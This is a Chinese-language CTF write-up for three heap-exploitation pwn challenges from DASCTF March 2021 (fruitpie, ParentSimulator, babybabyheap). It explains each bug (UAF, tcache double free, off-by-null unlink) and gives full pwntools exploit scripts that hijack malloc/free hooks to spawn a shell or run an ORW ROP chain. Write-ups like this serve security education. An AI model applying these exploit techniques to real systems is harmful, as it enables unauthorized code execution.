2021 MAR DASCTF 部分PWN WriteUP

 

fruiteie

首先看一下程序的逻辑,首先是读取了用户输入的一个size,然后程序申请了对应大小的堆块heap,输出heap地址之后接着读取了一个十六进制的数作为offset,接着向heap+offset的位置读取了0x10字节大小的数据。最后又申请了一个0xa0大小的堆块。

那么这里题目的提示很明显了,也就是利用offsetone_gadgetmalloc_hook中去,在调用malloc(0xa0)的时候触发one_gadget的调用,getshell

但是这里存在一个问题就是如何泄漏出libc的地址,再读一下程序,我们注意到这里malloc(size)的时候size为可以为负数,因此这里我们输入一个-1,那么malloc就会调用mmap去申请一个很大的内存空间,经过调试发现这个内存空间的起始地址与libc的基地址偏移是固定的。

那么我们就根据输出的heap地址就可以推算出libc基地址。

# encoding=utf-8
from pwn import *

file_path = "./fruitpie"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *$rebase(0xCC9)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527, 0xf0364, 0xf1207]

else:
    p = remote('54f57bff-61b7-47cf-a0ff-f23c4dc7756a.machine.dasctf.com', 50202)
    libc = ELF('./libc.so.6')
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]


p.sendlineafter("Enter the size to malloc:\n", str(-1))

heap_address = int(p.recvline().strip(), 16)
log.success("heap address is {}".format(hex(heap_address)))
libc.address = heap_address + 0x100001000 - 0x10
log.success("libc address is {}".format(hex(libc.address)))
log.success("malloc_hook is {}".format(hex(libc.sym['__malloc_hook'])))
different = libc.sym['__malloc_hook'] - heap_address
log.success("different is {}".format(hex(different)))

p.sendlineafter("Offset:", hex(different)[2:])
p.sendafter("Data:\n", p64(one_gadget[2] + libc.address))
p.interactive()

 

ParentSimulator

首先看一下程序的逻辑,首先是第一个函数调用,这里需要注意的是程序开启了沙箱,然后还打开了一个文件,最重要的是调用了chdir("/")函数。

open("/tmp", 0);
lchown("/tmp/ohohoho/", 0, 0);
chroot("/tmp/ohohoho/");
chdir("/");

接着向下分析程序提供了五种功能和一个后门,我们首先看一下add函数,add函数申请了一个child结构体,该结构体的大小为0x110,结构体的成员变量如下

00000000 child           struc ; (sizeof=0x100, mappedto_8)
00000000 name            db 8 dup(?)
00000008 sex             db 8 dup(?)
00000010 des             db 240 dup(?)
00000100 child           ends

也就是有三个成员变量,在add函数中为name,sex这两个成员变量赋值。然后提供了change_name,edit_des这两个函数,用来修改name成员变量和为des赋值。还有一个show函数将这三个成员变量的内容全部输出。

还存在一个delete函数,用来删除结构体,需要注意的是这三个函数只有当is_alive[index]对应的位置为1的时候才能操作,即进行了一个是否已经被删除的检查。

这几个函数都没有什么问题,我们重点看一下后门函数,也就是666的时候调用的函数。该函数只能调用一次。

printf("Current gender:%s\n", node_list[v2]->sex);
puts("Please rechoose your child's gender.\n1.Boy\n2.Girl:");
v3 = readint();
if ( v3 == 1 )
{
  v0 = (struct child *)node_list[v2]->sex;
  *(_DWORD *)v0->name = 0x796F62;
}
else if ( v3 == 2 )
{
  v0 = (struct child *)node_list[v2]->sex;
  strcpy(v0->name, "girl");
}

函数的主要功能就是输出和修改sex成员变量,那么这里我们注意到该函数调用的时候并没有对is_alive这个数组相应的位置进行检查,也就是说这里存在一个UAF。利用sex的输出可以泄漏一下堆地址。

而注意到sex成员变量的特殊位置+0x8,正好是tcachedouble free进行检查的位置,也就是key变量的位置,那么我们可以通过后门函数修改key,构造一个double free,此时就可以完成一次任意地址分配。

为了持续的利用double free,选择将任意地址分配的位置为某一个堆块起始地址-0x20的位置。利用change_descirption这个函数修改改des成员变量的功能就可以修改这个堆块的fd指针,就可以完成多次的任意地址分配。

0x56207637a0a0: 0x00005620781883b0(child_list)      0x00005620781883b0
0x56207637a0b0: 0x00005620781884c0      0x0000562078188390(child_3)
0x56207637a0c0: 0x0000000000000000      0x0000000000000000

从上面的堆分配来说,通过index=3的堆块就可以控制index=0的堆快。

现在有了任意地址分配,还差一个地址泄漏,这里我才用的就是利用任意地址分配将堆块分配到pthread_tcache_struct位置处,然后释放,那么pthread_tcache_struct结构体中就存在了一个libc附近的地址,那么再次利用任意地址分配,分配堆快到libc_address-0x20的位置,使得des成员变量恰好指向libc附近的地址,那么此时利用show函数就可以泄漏出libc地址了。

由于这个题目开启了沙箱

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

因此这里我们还是得需要构造orw,利用setcontext进行栈迁移,执行我们的orw rop,并且需要注意的是程序一开始已经打开了一个文件,因此这里的open函数打开flag的时候返回的fd=4

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('pwn.machine.dasctf.com', 51603)
    libc = ELF('./libc-2.31.so')
    one_gadget = 0x0


def add(index, sex=1, name=b"11"):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("input index?", str(index))
    p.sendlineafter("1.Boy\n2.Girl:\n", str(sex))
    p.sendafter("your child's name:\n", name[:-1])


def change_name(index, name):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("input index?", str(index))
    p.sendafter("child's new name:\n", name)


def show_name(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("input index?", str(index))


def delete(index):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("input index?", str(index))


def change_des(index, content):
    p.sendlineafter(">> ", "5")
    p.sendlineafter("input index?", str(index))
    p.sendafter("child's description:\n", content)


def back(index):
    p.sendlineafter(">> ", "666")
    p.sendlineafter("input index?", str(index))


add(0)
add(1)
add(2)
add(9)
delete(0)
delete(1)

back(1)

p.recvuntil("Current gender:")
heap_address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10
p.sendlineafter("1.Boy\n2.Girl:\n", str(1))

delete(1)

add(0, 1, p64(heap_address + 0x390))
add(1, 1, p64(0))
add(3, 1, p64(0)) # control 0, 1


delete(2)
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(heap_address + 0x10))

add(0)
add(4) # pthread_tcache_struct
change_des(4, p64(0)*7 + p64(0x0007000000000000))


delete(4)
add(4, 1, p64(0))
delete(0)
change_des(3, p64(0) + p64(0x111) + p64(heap_address + 0x110))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(5)
show_name(5)

p.recvuntil("Description:")
libc.address = u64(p.recv(6).strip().ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']


p_rsi_r = 0x0000000000027529 + libc.address
p_rdi_r = 0x0000000000026b72 + libc.address
p_rdx_r12_r = 0x000000000011c1e1 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret = 0x00000000000c1479 + libc.address

flag_str_address = libc.sym['__free_hook'] + 0xa0
flag_address = libc.sym['__free_hook'] + 0x30

orw = flat([
    p_rdi_r, flag_str_address,
    p_rsi_r, 0,
    p_rax_r, 2,
    syscall,
    p_rdi_r, 4,
    p_rsi_r, flag_address,
    p_rdx_r12_r, 0x30, 0,
    p_rax_r, 0,
    syscall,
    p_rdi_r, 1,
    p_rsi_r, flag_address,
    p_rdx_r12_r, 0x30, 0,
    p_rax_r, 1,
    syscall,
    libc.sym['exit']
])
magic = 0x00000000001547a0 + libc.address

payload = p64(magic) + p64(0)
payload += p64(libc.sym['setcontext'] + 61)

payload = payload.ljust(0x90, b"\x00")
payload += p64(heap_address + 0x5d0 + 0x10) + p64(ret)
payload += b"./flag\x00"

delete(0)
change_des(3, p64(0) + p64(0x111) + p64(libc.sym['__free_hook'] - 0x20))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(7)

delete(9)
add(9)
change_des(9, orw)


delete(0)
change_des(3, p64(0) + p64(0x111) + p64(libc.sym['__free_hook'] - 0x10) + p64(0))
change_des(4, p64(0) + p64(0x0002000000000000))
add(0)
add(6)

log.success("libc address is {}".format(hex(libc.address)))
log.success("heap address is {}".format(hex(heap_address)))


change_des(7, p64(0) + p64(libc.sym['__free_hook'] - 0x10) + payload)

delete(6)

p.interactive()

 

babybabyheap

首先看一下程序的逻辑,程序提供了四种方法就是add,show,delete,还有一个后门函数。add函数只能申请0x7F-0x200大小的堆块。delete删除堆块,show函数输出堆块的内容,这三种方法只能在size_list[index]中对应位置有数值的情况下才能调用,相当于size_list[index]是一个is_deleted的判断。

这种情况下就没有UAF了,那么此时看一下后门函数,后门函数只能够调用一次

index = readstr((void *)buf_list[v1], size_list[v1]);
__int64 __fastcall readstr(void *a1, unsigned int a2)
{
  unsigned int v3; // [rsp+1Ch] [rbp-4h]

  v3 = read(0, a1, a2);
  if ( *((_BYTE *)a1 + (int)v3 - 1) == 10 )
    *((_BYTE *)a1 + (int)v3 - 1) = 0;
  *((_BYTE *)a1 + (int)v3) = 0;
  return v3;
}

这里很明显的存在一个off-by-null的漏洞,一开始想到的是利用large bin构造off-by-null漏洞的利用造成堆重叠,但是这里最大只能分配0x200的堆块,所以这里无法使用。

对于off-by-null的利用方法就是构造堆重叠,那么这里我们主要是绕过下面这两个检查。

__glibc_unlikely (chunksize(p) != prevsize;
__builtin_expect (fd->bk != p || bk->fd != p, 0)

程序没有开启地址随机化,因此存储所有堆块地址的buf_list的地址我们是知道的,因此这里我们可以直接利用node_list伪造fd,bk指针,是一个典型的unlink的利用。

pwndbg> x/20gx 0x0000000001d573a0-0x10
0x1d57390:      0x0000000000000000      0x0000000000000101 << orial chunk
0x1d573a0:      0x0000000000000000      0x00000000000001f1 << fake chunk
0x1d573b0:      0x0000000000404130      0x0000000000404138 << fake chunk fd & bk
0x1d573c0:      0x0000000000000000      0x0000000000000000
//...
0x1d57480:      0x0000000000000000      0x0000000000000000
0x1d57490:      0x0000000000000000      0x0000000000000101 << target chunk
0x1d574a0:      0x6161616161616161      0x6161616161616161
//...
pwndbg>
0x1d57570:      0x6161616161616161      0x6161616161616161
0x1d57580:      0x6161616161616161      0x6161616161616161
0x1d57590:      0x00000000000001f0      0x0000000000000100 << chunk
0x1d575a0:      0x0000000000000031      0x0000000000000000
0x1d575b0:      0x0000000000000000      0x0000000000000000

unlink之后就会在node_list中写入&node_list附近的地址该地址和index相关。

0x404140:       0x0000000001d572a0      0x0000000000404130 << node_list - 0x10
0x404150:       0x0000000001d574a0      0x0000000001d575a0
0x404160:       0x0000000001d576a0      0x0000000001d577a0

由于这个程序中并不存在edit函数,因此这里我们只能先释放然后再申请用来向node_list中写入数据。至于chunk_size的构造可以利用size_list中保存的数据。

那么这里写入的是一个伪造的堆块,该伪造堆块位于两个堆块的中间,

pwndbg> x/20gx 0x00000000010e9ba0-0x10
0x10e9b90:      0x0000000000000000      0x0000000000000101 << chunk1
0x10e9ba0:      0x0000000000000000      0x0000000000000000
//...
pwndbg>
0x10e9c30:      0x0000000000000000      0x0000000000000000
//...
0x10e9c60:      0x0000000000000000      0x0000000000000000
0x10e9c70:      0x0000000000000000      0x0000000000000101 << fake chunk
0x10e9c80:      0x0000000000000000      0x0000000000000000
0x10e9c90:      0x0000000000000000      0x0000000000000101 << chunk2
0x10e9ca0:      0x0000000000000000      0x0000000000000000
//...
0x10e9d70:      0x0000000000000000      0x0000000000000021 << fake chunk to bypass check
0x10e9d80:      0x0000000000000000      0x0000000000000000
0x10e9d90:      0x0000000000000000      0x0000000000020271

通过向fake chunk中写入数据可以覆写tcache fd指针,那么就可以造成任意的地址分配,在add中写入数据即可覆写free_hooksystem

# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0xe6e73, 0xe6e76, 0xe6e79]

else:
    p = remote('pwn.machine.dasctf.com', 50700)
    libc = ELF('./libc-2.31.so')
    one_gadget = [0xe6ce3, 0xe6ce6, 0xe6ce9]


def add(index, size, content=b"1"):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("index?\n", str(index))
    p.sendlineafter("size?\n", str(size))
    p.sendafter("content?\n", content)


def show(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("index?\n", str(index))


def delete(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("index?\n", str(index))


def back(index, content):
    p.sendlineafter(">> ", "4")
    p.sendafter("Sure to exit?(y/n)\n", "n")
    p.sendlineafter("index?\n", str(index))
    p.sendafter("content?\n", content)


p.recvuntil("gift: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['puts']
log.success("libc address is {}".format(hex(libc.address)))


buf_address = 0x404140
add(0, 0xf8)
add(1, 0xf8, p64(0) + p64(0x1f1) + p64(buf_address + 0x8 - 0x18) + p64(buf_address + 0x8 - 0x10))
add(2, 0xf8)
add(3, 0xf8)

for i in range(7):
    add(4 + i, 0xf8)

for i in range(7):
    delete(4 + i)


back(2, b"a"*0xf0 + p64(0x1f0))

delete(3)
add(30-4, 0x91)

delete(1)

add(29, 0xf8)
add(30, 0xf8, b"\x00"*0xd0 + p64(0) + p64(0x101))

delete(29)
add(1, 0x88, p32(0xf8)*2 + p64(0) + p64(0x404130)*2)

show(29)
heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success("heap address is {}".format(hex(heap_address)))
add(29, 0xf8, b"\x00"*0xd0 + p64(0) + p64(0x21))

delete(1)
add(1, 0x88, p32(0xf8)*2 + p64(0) + p64(0x404130)*2 + p64(heap_address + 0x100 + 0xd0 + 0x10))

delete(29)
delete(2)

add(2, 0xf8, b"\x00"*0x18 + p64(0x101) + p64(libc.sym['__free_hook']))

add(20, 0xf8, b"/bin/sh\x00")
add(21, 0xf8, p64(libc.sym['system']))

delete(20)

p.interactive()

加成券.jpg

(完)